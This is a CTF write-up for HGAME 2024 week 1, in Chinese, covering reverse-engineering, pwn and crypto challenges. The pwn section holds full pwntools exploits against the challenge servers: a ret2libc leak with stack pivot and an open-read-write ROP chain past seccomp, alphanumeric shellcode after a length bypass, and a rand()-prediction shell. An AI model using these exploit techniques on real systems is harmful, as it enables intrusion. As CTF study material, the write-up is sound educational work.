# Hgame_wp_week1

image-20240204145551962

image-20240205175025173

# RE

# ezASM(100pt)

To learn a little ASM

题目:

section .data
    c db 74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34
    flag db 33 dup(0)
    format db "plz input your flag: ", 0
    success db "Congratulations!", 0
    failure db "Sry, plz try again", 0

section .text
    global _start

_start:
    ; Print prompt
    mov eax, 4
    mov ebx, 1
    mov ecx, format
    mov edx, 20
    int 0x80

    ; Read user input
    mov eax, 3
    mov ebx, 0
    mov ecx, flag
    mov edx, 33
    int 0x80

    ; Check flag
    xor esi, esi
check_flag:
    mov al, byte [flag + esi]
    xor al, 0x22
    cmp al, byte [c + esi]
    jne failure_check

    inc esi
    cmp esi, 33
    jne check_flag

    ; Print success message
    mov eax, 4
    mov ebx, 1
    mov ecx, success
    mov edx, 14
    int 0x80

    ; Exit
    mov eax, 1
    xor ebx, ebx
    int 0x80

failure_check:
    ; Print failure message
    mov eax, 4
    mov ebx, 1
    mov ecx, failure
    mov edx, 18
    int 0x80

    ; Exit
    mov eax, 1
    xor ebx, ebx
    int 0x80

解题思路:

; Check flag
xor esi, esi
check_flag:
mov al, byte [flag + esi]
xor al, 0x22
cmp al, byte [c + esi]
jne failure_check

检测用户输入与 0x22 异或然后与 c 进行比较

即 c [i] 与 0x22 异或之后得到的为 flag 内容。

exp:

c = [74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34]
x = 0x22
flag = []
for i in range(len(c)):
    tmp = c[i] ^ x
    flag.append(tmp)
print(''.join(chr(flag[i]) for i in range(len(flag))))

hgame\

# ezPYC(100pt)

ez python Reverse

这题目做了好久,结果是 pyc 的文件头错误,因为用 "pyinstxtractor.py" 解包后,在库文件中 pyc 的文件头也是错误的。

解题思路:

python pyinstxtractor.py ezPYC.exe

在目录文件夹中解包出下面文件夹

ezPYC.exe_extracted

找到 ezPYC 二进制文件

进行修改文件头操作

55 0D 0D 0A 00 00 00 00 00 00 00 00 00 00 00 00

加到 E3 之前即可。

然后进行 pyc 反编译

pycdc.exe ezPYC.pyc > 2.txt
n
# Source Generated with Decompyle++
# File: ezPYC.pyc (Python 3.8)
flag = [
    87,
    75,
    71,
    69,
    83,
    121,
    83,
    125,
    117,
    106,
    108,
    106,
    94,
    80,
    48,
    114,
    100,
    112,
    112,
    55,
    94,
    51,
    112,
    91,
    48,
    108,
    119,
    97,
    115,
    49,
    112,
    112,
    48,
    108,
    100,
    37,
    124,
    2]
c = [
    1,
    2,
    3,
    4]
input = input('plz input flag:')
for i in range(0, 36, 1):
    if ord(input[i]) ^ c[i % 4] != flag[i]:
        print('Sry, try again...')
        exit()
        continue
        print('Wow!You know a little of python reverse')
        return None

exp

flag = [
    87,
    75,
    71,
    69,
    83,
    121,
    83,
    125,
    117,
    106,
    108,
    106,
    94,
    80,
    48,
    114,
    100,
    112,
    112,
    55,
    94,
    51,
    112,
    91,
    48,
    108,
    119,
    97,
    115,
    49,
    112,
    112,
    48,
    108,
    100,
    37,
    124,
    2]
c = [
    1,
    2,
    3,
    4]
for i in range(0, 36, 1):
    a = flag[i] ^ c[i % 4]
    print(chr(a),end='')

VIDAR\

# ezUPX(100pt)

UPX is a packer

给定文件为加 upx 壳

upx -d ezUPX.exe

拖入 IDA 发现关键代码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // edx
  __int64 i; // rax
  __int128 v6[2]; // [rsp+20h] [rbp-38h] BYREF
  int v7; // [rsp+40h] [rbp-18h]
  memset(v6, 0, sizeof(v6));
  v7 = 0;
  sub_140001020("plz input your flag:\n");
  sub_140001080("%36s");
  v3 = 0;
  for ( i = 0i64; (*((_BYTE *)v6 + i) ^ 0x32) == byte_1400022A0[i]; ++i )
  {
    if ( (unsigned int)++v3 >= 0x25 )
    {
      sub_140001020("Cooool!You really know a little of UPX!");
      return 0;
    }
  }
  sub_140001020("Sry,try again plz...");
  return 0;
}

byte_1400022A0[] == 647B76736049655D45136B02476D595C02456D066D5E0346465E016D02546D67626A134F320000000000000000000000

同 ezASM 的 exp 相同,简单的异或

c1 = [0x64,0x7B,0x76,0x73,0x60,0x49,0x65,0x5D,0x45,0x13,0x6B,0x02,0x47,0x6D,0x59,0x5C,0x02,0x45,0x6D,0x06,0x6D,0x5E,0x03,0x46,0x46,0x5E,0x01,0x6D,0x02,0x54,0x6D,0x67,0x62,0x6A,0x13,0x4F,0x32]
x1 = 0x32
flag = []
for i in range(len(c1)):
    tmp = c1[i] ^ x1
    flag.append(tmp)
print(''.join(chr(flag[i]) for i in range(len(flag))))

VIDAR\

# ezIDA(50pt)

Do you know how to use IDA?

拖入 IDA 即可发现 flag

.text:00000001400010E0 main            proc near               ; CODE XREF: __scrt_common_main_seh(void)+107↓p
.text:00000001400010E0                                         ; DATA XREF: .pdata:0000000140004018↓o
.text:00000001400010E0                 push    rbx
.text:00000001400010E2                 sub     rsp, 20h
.text:00000001400010E6                 lea     rcx, Format     ; "plz input flag:\n"
.text:00000001400010ED                 call    sub_140001020
.text:00000001400010F2                 lea     rbx, byte_1400030C8
.text:00000001400010F9                 mov     rdx, rbx
.text:00000001400010FC                 lea     rcx, a39s       ; "%39s"
.text:0000000140001103                 call    sub_140001080
.text:0000000140001108                 lea     r8, aHgameW3lc0meT0 ; "hgame{W3lc0me_T0_Th3_World_of_Rev3rse!}"
.text:000000014000110F                 sub     r8, rbx
......

hgame\

# PWN

# EzSignIn(25pt)

Have fun in pwn games of hgame2024~

nc 47.100.137.175 31722

hgame\

# Elden Ring Ⅰ(250pt)

伊丽莎白学姐沉迷于艾尔登法环无法自拔,你能帮她从梅琳娜那里拿到 flag 吗? flag 格式为 hgame

栈迁移与 orw 结合

程序代码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+8h] [rbp-8h]
  init(argc, argv, envp);
  v4 = seccomp_init(2147418112LL);
  seccomp_rule_add(v4, 0LL, 59LL, 0LL);
  seccomp_rule_add(v4, 0LL, 322LL, 0LL);
  seccomp_load(v4);
  puts("The fallen leaves tell a story...\n");
  sleep(2u);
  puts("...\n");
  sleep(2u);
  puts("...\n");
  sleep(2u);
  puts(
    "And one other. Whom grace would again bless. A Tarnished of no renown. Cross the fog, to the Lands Between, to stand"
    " before the Elden Ring. And become the Elden Lord.\n");
  sleep(2u);
  vuln();
  puts("Good Bye.");
  return 0;
}
ssize_t vuln()
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF
  puts("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n");
  return read(0, buf, 0x130uLL);
}

vuln 有栈溢出漏洞能够溢出 0x30 的大小,也能够发现开启了沙箱。开始想这 ret2libc 可以一步到位,但是程序禁用了 execve,意味着 system 不能够使用(system 底层是由 execve 实现的)

所以使用 orw 读取 flag。因为测试中发现 orw 去进栈之后,0x30 溢出字节不能够写入。所以使用栈迁移去解决即可。

exp

from LibcSearcher import *
from pwn import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# r = remote('47.100.137.175',30139)
r = process('./vuln')
libc = ELF('./libc.so.6')
elf = ELF('./vuln')
se      = lambda data               : r.send(data)
sa      = lambda delim, data         : r.sendafter(delim, data)
sl      = lambda data               : r.sendline(data)
sla     = lambda delim, data         : r.sendlineafter(delim, data)
sea     = lambda delim, data         : r.sendafter(delim, data)
rc      = lambda numb=4096          : r.recv(numb)
rl      = lambda                    : r.recvline()
ru      = lambda delims             : r.recvuntil(delims)
uu32    = lambda data               : u32(data.ljust(4, b'\0'))
uu64    = lambda data               : u64(data.ljust(8, b'\0'))
lic     = lambda data               : uu64(ru(data)[-6:])
pack    = lambda str, addr          : p32(addr)
padding = lambda length             : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
it      = lambda                    : r.interactive()
padding = 0x100
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln = elf.sym['vuln']
ret = 0x000000000040101a
rdi = 0x00000000004013e3
pad1 = padding*b'a' + p64(0x12345678) + p64(ret) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
se(pad1)
puts = lic(b'\x7f')
print('puts ===>',hex(puts))
# libc = LibcSearcher('puts',puts)
libc_base = puts - libc.sym['puts']
read_addr = libc_base +libc.sym['read']
open_addr = libc_base +libc.sym['open']
write_addr = libc_base +libc.sym['write']
rdx= libc_base + 0x142c92
rsi = libc_base + 0x2601f
buf = elf.bss() + 0x100
rax = libc_base + 0x36174
rsp = libc_base + 0x2f70a
syscall_addr = libc_base +libc.sym['syscall']
pad2=b'a'*0x108+p64(rsi)+p64(buf)+p64(read_addr)+p64(rsp)+p64(buf+8)
se(pad2)
pad3=b'/flag'.ljust(8,b'\x00')
pad3+=p64(rdi)+p64(buf)+p64(rsi)+p64(0)+p64(open_addr)
pad3+=p64(rdi)+p64(3)+p64(rsi)+p64(buf+0x300)+p64(rdx)+p64(0x100)+p64(read_addr)
pad3+=p64(rdi)+p64(1)+p64(rsi)+p64(buf+0x300)+p64(rdx)+p64(0x50)+p64(write_addr)+p64(vuln)
se(pad3)
rc()
it()

flag\

# ezshellcode(100pt)

Short visible shellcode?

整型溢出并绕过判段之后进行可见字符的 shellcode

程序代码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; // [rsp+Ch] [rbp-14h] BYREF
  void (*v5)(void); // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]
  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v5 = (void (*)(void))(int)mmap((void *)0x20240000, 0x1000uLL, 7, 33, -1, 0LL);
  if ( v5 == (void (*)(void))-1LL )
  {
    perror("mmap");
    exit(1);
  }
  printf("input the length of your shellcode:");
  __isoc99_scanf("%2d", &v4);
  if ( (int)v4 <= 10 )
  {
    printf("input your shellcode:");
    myread(v5, v4);
  }
  else
  {
    puts("too long");
  }
  v5();
  return 0;
}
unsigned __int64 __fastcall myread(void *a1, unsigned int a2)
{
  char v3; // [rsp+1Fh] [rbp-11h]
  unsigned int i; // [rsp+20h] [rbp-10h]
  unsigned int v5; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]
  v6 = __readfsqword(0x28u);
  v5 = read(0, a1, a2);
  for ( i = 0; i < v5; ++i )
  {
    v3 = *((_BYTE *)a1 + i);
    if ( (v3 <= 96 || v3 > 122) && (v3 <= 64 || v3 > 90) && (v3 <= 47 || v3 > 57) )
    {
      puts("Invalid character\n");
      exit(1);
    }
  }
  return v6 - __readfsqword(0x28u);
}

exp

from LibcSearcher import *
from pwn import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
r = remote('47.100.137.175',32468)
# r = process('./pwn')
elf = ELF('./pwn')
se      = lambda data               : r.send(data)
sa      = lambda delim, data         : r.sendafter(delim, data)
sl      = lambda data               : r.sendline(data)
sla     = lambda delim, data         : r.sendlineafter(delim, data)
sea     = lambda delim, data         : r.sendafter(delim, data)
rc      = lambda numb=4096          : r.recv(numb)
rl      = lambda                    : r.recvline()
ru      = lambda delims             : r.recvuntil(delims)
uu32    = lambda data               : u32(data.ljust(4, b'\0'))
uu64    = lambda data               : u64(data.ljust(8, b'\0'))
lic     = lambda data               : uu64(ru(data)[-6:])
pack    = lambda str, addr          : p32(addr)
padding = lambda length             : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
it      = lambda                    : r.interactive()
sl('-1')
shellcode = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
se(shellcode)
it()

hgame\

# Elden Random Challenge(100pt)

rrrrraaaannnnndddddoooommmm

随机数挑战,以 0 为种子去发送 99 次随机数即可

int v4; // [rsp+8h] [rbp-18h] BYREF
  char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
  int v6; // [rsp+18h] [rbp-8h]
  unsigned int seed; // [rsp+1Ch] [rbp-4h]
  init(argc, argv, envp);
  seed = time(0LL);
  puts("Menlina: Well tarnished, tell me thy name.");
  read(0, buf, 0x12uLL);
  printf("I see,%s", buf);
  puts("Now the golden rule asks thee to guess ninety-nine random number. Shall we get started.");
  srand(seed);
  while ( i <= 98 )
  {
    v6 = rand() % 100 + 1;
    v4 = 0;
    puts("Please guess the number:");
    read(0, &v4, 8uLL);
    if ( v6 != v4 )
    {
      puts("wrong!");
      exit(0);
    }
    ++i;
  }
  puts("Here's a reward to thy brilliant mind.");
  myread();
  return 0;
}
ssize_t myread()
{
  char buf[48]; // [rsp+0h] [rbp-30h] BYREF
  return read(0, buf, 0x100uLL);
}
from LibcSearcher import *
from pwn import *
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# r = remote('47.100.137.175',30918)
r = process('./vuln')
libc = cdll.LoadLibrary('/home/yhuan/Desktop/pwn_tools/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6')
elf = ELF('./vuln')
se      = lambda data               : r.send(data)
sa      = lambda delim, data         : r.sendafter(delim, data)
sl      = lambda data               : r.sendline(data)
sla     = lambda delim, data         : r.sendlineafter(delim, data)
sea     = lambda delim, data         : r.sendafter(delim, data)
rc      = lambda numb=4096          : r.recv(numb)
rl      = lambda                    : r.recvline()
ru      = lambda delims             : r.recvuntil(delims)
uu32    = lambda data               : u32(data.ljust(4, b'\0'))
uu64    = lambda data               : u64(data.ljust(8, b'\0'))
lic     = lambda data               : uu64(ru(data)[-6:])
pack    = lambda str, addr          : p32(addr)
padding = lambda length             : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
it      = lambda                    : r.interactive()
sa(b"Menlina: Well tarnished, tell me thy name.",b'a'*10+p64(0x12341234))
n = 0
srand = libc.srand(n) #设置种子
for i in range(99):
	sa(b'Please guess the number:\n',p64(libc.rand()%100+1))
myread = elf.sym['myread']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x0000000000401423
ret = 0x000000000040101a	
pl = 0x30*b'a' + p64(ret) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(puts_plt) + p64(myread)
sla(b"Here's a reward to thy brilliant mind.",pl)
put_addr = lic('\x7f')
print(hex(put_addr))
print('put====>',hex(put_addr))
libc = LibcSearcher('puts',put_addr)
libc_base = put_addr - libc.dump('puts')
print('libc====>',hex(libc_base))
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
pl2 = b'a'*0x30 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
sl(pl2)
it()

hgame\

# ezfmt string(100pt)

easy Format String

没做出来,学习 exp

# CRYPTO

# 奇怪的图片 (100pt)

一些奇怪的图片

出题脚本

import time
from PIL import Image, ImageDraw, ImageFont
import threading
import random
import secrets
flag = "hgame{fake_flag}"
def generate_random_image(width, height):
    image = Image.new("RGB", (width, height), "white")
    pixels = image.load()
    for x in range(width):
        for y in range(height):
            red = random.randint(0, 255)
            green = random.randint(0, 255)
            blue = random.randint(0, 255)
            pixels[x, y] = (red, green, blue)
    return image
def draw_text(image, width, height, token):
    font_size = random.randint(16, 40)
    font = ImageFont.truetype("arial.ttf", font_size)
    text_color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
    x = random.randint(0, width - font_size * len(token))
    y = random.randint(0, height - font_size)
    draw = ImageDraw.Draw(image)
    draw.text((x, y), token, font=font, fill=text_color)
    return image
def xor_images(image1, image2):
    if image1.size != image2.size:
        raise ValueError("Images must have the same dimensions.")
    xor_image = Image.new("RGB", image1.size)
    pixels1 = image1.load()
    pixels2 = image2.load()
    xor_pixels = xor_image.load()
    for x in range(image1.size[0]):
        for y in range(image1.size[1]):
            r1, g1, b1 = pixels1[x, y]
            r2, g2, b2 = pixels2[x, y]
            xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
    return xor_image
def generate_unique_strings(n, length):
    unique_strings = set()
    while len(unique_strings) < n:
        random_string = secrets.token_hex(length // 2)
        print(random_string)
        unique_strings.add(random_string)
    return list(unique_strings)
random_strings = generate_unique_strings(len(flag), 8)
print(random_strings)
current_image = generate_random_image(120, 80)
current_image.show()
key_image = generate_random_image(120, 80)
key_image.show()
def random_time(image, name):
    time.sleep(random.random())
    image.save(".\\png_out\\{}.png".format(name))
for i in range(len(flag)):
    current_image = draw_text(current_image, 120, 80, flag[i])
    threading.Thread(target=random_time, args=(xor_images(current_image, key_image), random_strings[i])).start()

大致思路应该让我们找到 key_image,去异或 draw_text () 覆盖上 current_image 的字母,但是我转念一想,如果找到如果找到了 key_image,但是图片的顺序是用 random_strings () 名称来打乱了,那么不确定顺序 flag 一样无法解决,所以我们找到第一张和第二张与 key_image 的图片即可,然后判断字母数量即可确定顺序。

解题脚本不太优雅,还是等下 exp 学习一下捏

exp

import time
from PIL import Image, ImageDraw, ImageFont
import threading
import random
import secrets
png1 = Image.open('4.png')
png2 = Image.open('14.png')
#与 key_image 的 xor 顺序
# 4 7 20 15 21 9 12 19 13 16 2 10 18 5 17 8 3 6 1 11 14
def xor_images(image1, image2):
    if image1.size != image2.size:
        raise ValueError("Images must have the same dimensions.")
    xor_image = Image.new("RGB", image1.size)
    pixels1 = image1.load()
    pixels2 = image2.load()
    xor_pixels = xor_image.load()
    for x in range(image1.size[0]):
        for y in range(image1.size[1]):
            r1, g1, b1 = pixels1[x, y]
            r2, g2, b2 = pixels2[x, y]
            xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
    return xor_image
a = xor_images(png1, png2)
a.show()

hgame\

# ezMath(100pt)

题目描述:一个简单的数学题

pell 方程,需要求出 y,以 y 为 key,解决 aes 的 ebc 问题

出题脚本

from Crypto.Util.number import *
from Crypto.Cipher import AES
import random,string
from secret import flag,y,x
def pad(x):
    return x+b'\x00'*(16-len(x)%16)
def encrypt(KEY):
    cipher= AES.new(KEY,AES.MODE_ECB)
    encrypted =cipher.encrypt(flag)
    return encrypted
D = 114514
assert x**2 - D * y**2 == 1
flag=pad(flag)
key=pad(long_to_bytes(y))[:16]
enc=encrypt(key)
print(f'enc={enc}')
#enc=b"\xce\xf1\x94\x84\xe9m\x88\x04\xcb\x9ad\x9e\x08b\xbf\x8b\xd3\r\xe2\x81\x17g\x9c\xd7\x10\x19\x1a\xa6\xc3\x9d\xde\xe7\xe0h\xed/\x00\x95tz)1\\\t8:\xb1,U\xfe\xdec\xf2h\xab`\xe5'\x93\xf8\xde\xb2\x9a\x9a"

exp

from Crypto.Util.number import *
from Crypto.Cipher import AES
import random,string
def pad(x):
    return x+b'\x00'*(16-len(x)%16)
def encrypt(KEY):
    cipher= AES.new(KEY,AES.MODE_ECB)
    encrypted =cipher.encrypt(flag)
    return encrypted
def decrypt(encrypted_message, key):
    cipher = AES.new(key, AES.MODE_ECB)
    decrypted = cipher.decrypt(encrypted_message)
    unpadded = decrypted.rstrip(b"\0")
    return unpadded
#------------------------------------------------------
#sage
def solve_pell(N, numTry = 1000):
    cf = continued_fraction(sqrt(N))
    for i in range(numTry):
        denom = cf.denominator(i)
        numer = cf.numerator(i)
        if numer^2 - N * denom^2 == 1:
            return numer, denom
    return None, None
N = 114514
pell = solve_pell(N)
print(pell)
#(3058389164815894335086675882217709431950420307140756009821362546111334285928768064662409120517323199, 9037815138660369922198555785216162916412331641365948545459353586895717702576049626533527779108680)
#--------------------------------------------------------
from Crypto.Util.number import *
from Crypto.Cipher import AES
flag = 'flag{test}'
y = 9037815138660369922198555785216162916412331641365948545459353586895717702576049626533527779108680
key=pad(long_to_bytes(y))[:16]
print(key)
enc = b"\xce\xf1\x94\x84\xe9m\x88\x04\xcb\x9ad\x9e\x08b\xbf\x8b\xd3\r\xe2\x81\x17g\x9c\xd7\x10\x19\x1a\xa6\xc3\x9d\xde\xe7\xe0h\xed/\x00\x95tz)1\\\t8:\xb1,U\xfe\xdec\xf2h\xab`\xe5'\x93\xf8\xde\xb2\x9a\x9a"
print(decrypt(enc,key))

hgame\

# ezRSA(50pt)

题目描述:一个简单的 RSA

有 leak1 与 leak2,需要推到出 p q

出题脚本

from Crypto.Util.number import *
from secret import flag
m=bytes_to_long(flag)
p=getPrime(1024)
q=getPrime(1024)
n=p*q
phi=(p-1)*(q-1)
e=0x10001
c=pow(m,e,n)
leak1=pow(p,q,n)
leak2=pow(q,p,n)
print(f'leak1={leak1}')
print(f'leak2={leak2}')
print(f'c={c}')
"""
leak1=149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669
leak2=116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461
c=10529481867532520034258056773864074017027019578041866245400647840230251661652999709715919620810933437191661180003295923273655675729588558899592524235622728816065501918076120812236580344991140980991532347991252705288633014913479970610056845543523591324177567061948922552275235486615514913932125436543991642607028689762693617305246716492783116813070355512606971626645594961850567586340389705821314842096465631886812281289843132258131809773797777049358789182212570606252509790830994263132020094153646296793522975632191912463919898988349282284972919932761952603379733234575351624039162440021940592552768579639977713099971
"""

解题思路

leak1 = p^q%(pq)
leak2 = q^p%(p
q)

leak = pq%(p*q)+qp%(p*q)

leak = p + q = leak1 + leak2

p = leak1
q = leak2

如何就是已知 p q e c 求 m

exp

import libnum
p = 149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669
q = 116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461
c = 10529481867532520034258056773864074017027019578041866245400647840230251661652999709715919620810933437191661180003295923273655675729588558899592524235622728816065501918076120812236580344991140980991532347991252705288633014913479970610056845543523591324177567061948922552275235486615514913932125436543991642607028689762693617305246716492783116813070355512606971626645594961850567586340389705821314842096465631886812281289843132258131809773797777049358789182212570606252509790830994263132020094153646296793522975632191912463919898988349282284972919932761952603379733234575351624039162440021940592552768579639977713099971
e = 0x10001
n = p*q
phi = (p-1)*(q-1)
d = libnum.invmod(e,phi)
m = pow(c,d,n)
print(libnum.n2s(m))

hgame\

# ezPRNG(150pt)

题目描述:一个简单的随机数

LSRF 伪随机数

mask 只有第 1、4、8、11、15、20、25、28、32 这几位为 1,其余位均为 0。到这数
mask 与 R 做按位与运算得到 i,当且仅当 R 的第 1、4、8、11、15、20、25、28 这几位中也出现 1 时,i 中才可能出现 1,否则 i 中将全为 0。
lastbit 是由 i 的最低位向 i 的最高位依次做异或运算得到的,在这个过程中,所有为 0 的位我们可以忽略不计(因为 0 异或任何数等于任何数本身,不影响最后运算结果),因此 lastbit 的值仅取决于 i 中有多少个 1:当 i 中有奇数个 1 时,lastbit 等于 1;当 i 中有偶数个 1 时,lastbit 等于 0。
当 R 的第 1、4、8、11、15、20、25、28 这几位依次异或结果为 1 时,即 R 中有奇数个 1,因此将导致 i 中有奇数个 1;当 R 的第 1、4、8、11、15、20、25、28 这几位依次异或结果为 0 时,即 R 中有偶数个 1,因此将导致 i 中有偶数个 1。
因此我们可以建立出联系:lastbit 等于 R 的第 1、4、8、11、15、20、25、28 这几位依次异或的结果。

出题脚本

from Crypto.Util.number import *
import uuid
def PRNG(R,mask):
    nextR = (R << 1) & 0xffffffff
    i=(R&mask)&0xffffffff
    nextbit=0
    while i!=0:
        nextbit^=(i%2)
        i=i//2
    nextR^=nextbit 
    return (nextR,nextbit)
R=str(uuid.uuid4())
flag='hgame{'+R+'}'
print(flag)
R=R.replace('-','')
Rlist=[int(R[i*8:i*8+8],16) for i in range(4)]
mask=0b10001001000010000100010010001001
output=[]
for i in range(4):
    R=Rlist[i]
    out=''
    for _ in range(1000):
        (R,nextbit)=PRNG(R,mask)
        out+=str(nextbit)
    output.append(out)
print(f'output={output}')
#output=['1111110110111011110000101011010001000111111001111110100101000011110111111100010000111110110111100001001000101101011110111100010010100000011111101101110101011010111000000011110000100011101111011011000100101100110100101110001010001101101110000010001000111100101010010110110111101110011011001011111011010101011000011011000111011011111001101010111100101100110001011010010101110011101001100111000011110111000001101110000001111100000100000101111100010110111001110011010000011011110110011000001101011111111010110011010111010101001000010011110110011110110101011110111010011010010110111111010011101000110101111101111000110011111110010110000100100100101101010101110010101001101010101011110111010011101110000100101111010110101111110001111111110010000000001110011100100001011111110100111011000101001101001110010010001100011000001101000111010010000101101111101011000000101000001110001011001010010001000011000000100010010010010111010011111111011100100100100101111111001110000111110110001111001111100101001001100010', '0010000000001010111100001100011101111101111000100100111010101110010110011001011110101100011101010000001100000110000000011000000110101111111011100100110111011010000100011111000111001000101001110010110010001000110010101011110011101000011111101101011000011110001101011111000110111000011000110011100100101100111100000100100101111001011101110001011011111111011010100010111011000010010101110110100000110100000100010101000010111101001000011000000000111010010101010111101101011111011001000101000100011001100101010110110001010010001010110111011011111101011100111001101111111111010011101111010010011110011111110100110011111110110001000111100010111000101111000011011011111101110101110100111000011100001010110111100011001011010011010111000110101100110100011101101011101000111011000100110110001100110101010110010011011110000111110100111101110000100010000111100010111000010000010001111110110100001000110110100100110110010110111010011111101011110000011101010100110101011110000110101110111011010110110000010000110001', '1110110110010001011100111110111110111001111101010011001111100100001000111001101011010100010111110101110101111010111100101100010011001001011101000101011000110111000010000101001000100111010110001010000111110110111000011001100010001101000010001111111100000101111000100101000000001001001001101110000100111001110001001011010111111010111101101101001110111010111110110011001000010001010100010010110110101011100000101111100100110011110001001001111100101111001111011011010111001001111010001100110001100001100000110000011111010100101111000000101011111010000111110000101111100010000010010111010110100101010101001111100101011100011001001011000101010101001101100010110000010001110011110011100111000110101010111010011010000001100001011000011101101000000011111000101111101011110011000011011000100100110111010011001111101100101100011000101001110101111001000010110010111101110110010101101000000101001011000000001110001110000100000001001111100011010011000000011011101111101001111110001011101100000010001001010011000001', '0001101010101010100001001001100010000101010100001010001000100011101100110001001100001001110000110100010101111010110111001101011011101110000011001000100100101000011011101000111001001010011100010001010110111011100100111110111001010010111010100000100111110101110010010110100001000010010001101111001110100010001011101100111011101011101100100101011010101000101001000101110011011111110110011111111100000000011100000010011000110001000110101010001011000010101000110000101001110101010111011010010111011001010011100010101001100110000110101100010000100110101110100001101001011011110011100110011001010110100101010111110110111100000111010001111101110000000000111011011101000011001010010111001110111000100111011110100101000100011011101100011111000101110110110111111001111000000011100011000010000101001011001101110101000010101001000100110010000101001111100101000001011011010011110001101000001101111010100101001100010100000111000011110101010100011011001110001011110111010111011010101101100000110000001010010101111011']

exp

Olist = ['1111110110111011110000101011010001000111111001111110100101000011110111111100010000111110110111100001001000101101011110111100010010100000011111101101110101011010111000000011110000100011101111011011000100101100110100101110001010001101101110000010001000111100101010010110110111101110011011001011111011010101011000011011000111011011111001101010111100101100110001011010010101110011101001100111000011110111000001101110000001111100000100000101111100010110111001110011010000011011110110011000001101011111111010110011010111010101001000010011110110011110110101011110111010011010010110111111010011101000110101111101111000110011111110010110000100100100101101010101110010101001101010101011110111010011101110000100101111010110101111110001111111110010000000001110011100100001011111110100111011000101001101001110010010001100011000001101000111010010000101101111101011000000101000001110001011001010010001000011000000100010010010010111010011111111011100100100100101111111001110000111110110001111001111100101001001100010', '0010000000001010111100001100011101111101111000100100111010101110010110011001011110101100011101010000001100000110000000011000000110101111111011100100110111011010000100011111000111001000101001110010110010001000110010101011110011101000011111101101011000011110001101011111000110111000011000110011100100101100111100000100100101111001011101110001011011111111011010100010111011000010010101110110100000110100000100010101000010111101001000011000000000111010010101010111101101011111011001000101000100011001100101010110110001010010001010110111011011111101011100111001101111111111010011101111010010011110011111110100110011111110110001000111100010111000101111000011011011111101110101110100111000011100001010110111100011001011010011010111000110101100110100011101101011101000111011000100110110001100110101010110010011011110000111110100111101110000100010000111100010111000010000010001111110110100001000110110100100110110010110111010011111101011110000011101010100110101011110000110101110111011010110110000010000110001', '1110110110010001011100111110111110111001111101010011001111100100001000111001101011010100010111110101110101111010111100101100010011001001011101000101011000110111000010000101001000100111010110001010000111110110111000011001100010001101000010001111111100000101111000100101000000001001001001101110000100111001110001001011010111111010111101101101001110111010111110110011001000010001010100010010110110101011100000101111100100110011110001001001111100101111001111011011010111001001111010001100110001100001100000110000011111010100101111000000101011111010000111110000101111100010000010010111010110100101010101001111100101011100011001001011000101010101001101100010110000010001110011110011100111000110101010111010011010000001100001011000011101101000000011111000101111101011110011000011011000100100110111010011001111101100101100011000101001110101111001000010110010111101110110010101101000000101001011000000001110001110000100000001001111100011010011000000011011101111101001111110001011101100000010001001010011000001', 